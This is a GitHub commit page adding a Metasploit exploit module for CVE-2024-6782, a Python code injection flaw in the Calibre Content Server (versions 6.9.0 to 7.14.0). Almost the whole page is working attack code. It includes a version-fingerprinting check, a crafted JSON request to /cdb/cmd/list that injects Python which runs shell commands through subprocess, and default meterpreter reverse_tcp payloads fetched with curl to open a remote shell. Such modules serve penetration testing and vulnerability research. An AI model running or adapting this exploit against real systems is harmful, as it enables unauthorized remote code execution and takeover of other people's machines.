Skip to content

Commit 1fbeb4e

Browse files
committed
Exploit Module for Calibre Python Code Injection (CVE-2024-6782)
1 parent 2d9aed7 commit 1fbeb4e

File tree

1 file changed

+136
-0
lines changed

1 file changed

+136
-0
lines changed
Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::HttpClient
4+
prepend Msf::Exploit::Remote::AutoCheck
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',
11+
'Description' => %q{
12+
This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.14.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
13+
},
14+
'License' => MSF_LICENSE,
15+
'Author' => [
16+
'Amos Ng', # Discovery & PoC
17+
'Michael Heinzl', # MSF exploit
18+
],
19+
'References' => [
20+
[ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],
21+
[ 'CVE', '2024-6782']
22+
],
23+
'DisclosureDate' => '2024-07-31',
24+
'Platform' => ['win', 'linux', 'unix'],
25+
'Arch' => [ ARCH_CMD ],
26+
27+
'Payload' => {
28+
'BadChars' => '\\'
29+
},
30+
31+
'Targets' => [
32+
[
33+
'Windows_Fetch',
34+
{
35+
'Arch' => [ ARCH_CMD ],
36+
'Platform' => 'win',
37+
'DefaultOptions' => {
38+
'FETCH_COMMAND' => 'CURL',
39+
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
40+
},
41+
'Type' => :win_fetch
42+
}
43+
],
44+
[
45+
'Linux Command',
46+
{
47+
'Platform' => [ 'unix', 'linux' ],
48+
'Arch' => ARCH_CMD,
49+
'Type' => :nix_cmd,
50+
'DefaultOptions' => {
51+
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
52+
}
53+
}
54+
],
55+
56+
],
57+
'DefaultTarget' => 0,
58+
59+
'Notes' => {
60+
'Stability' => [CRASH_SAFE],
61+
'Reliability' => [REPEATABLE_SESSION],
62+
'SideEffects' => [IOC_IN_LOGS]
63+
}
64+
)
65+
)
66+
67+
register_options(
68+
[
69+
Opt::RPORT(8080)
70+
]
71+
)
72+
end
73+
74+
def check
75+
begin
76+
res = send_request_cgi({
77+
'method' => 'GET',
78+
'uri' => normalize_uri(target_uri.path)
79+
})
80+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
81+
return CheckCode::Unknown
82+
end
83+
84+
if res && res.code == 200
85+
data = res.body.to_s
86+
pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/
87+
88+
version = data.match(pattern)
89+
90+
if version[1].nil?
91+
return CheckCode::Unknown
92+
else
93+
vprint_status('Version retrieved: ' + version[1].to_s)
94+
end
95+
96+
if Rex::Version.new(version[1]) <= Rex::Version.new('7.14.0') && Rex::Version.new(version[1]) >= Rex::Version.new('6.9.0')
97+
return CheckCode::Appears
98+
else
99+
return CheckCode::Safe
100+
end
101+
else
102+
return CheckCode::Unknown
103+
end
104+
end
105+
106+
def exploit
107+
case target['Type']
108+
when :win_fetch
109+
execute_command(payload.encoded)
110+
when :nix_cmd
111+
execute_command(payload.encoded)
112+
end
113+
end
114+
115+
def execute_command(cmd)
116+
print_status('Sending payload...')
117+
exec_calibre(cmd)
118+
print_status('Exploit finished, check thy shell.')
119+
end
120+
121+
def exec_calibre(cmd)
122+
payload = "[[\"template\"], \"\", \"\", \"\", 1,\"python:def evaluate(a, b):\\n import subprocess\\n try:\\n return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n except Exception:\\n return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\"]"
123+
124+
res = send_request_cgi({
125+
'method' => 'POST',
126+
'ctype' => 'application/json',
127+
'data' => payload,
128+
'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')
129+
})
130+
131+
if res && res.code == 200
132+
print_good('Command successfully executed, check your shell.')
133+
end
134+
end
135+
136+
end

0 commit comments

Comments
 (0)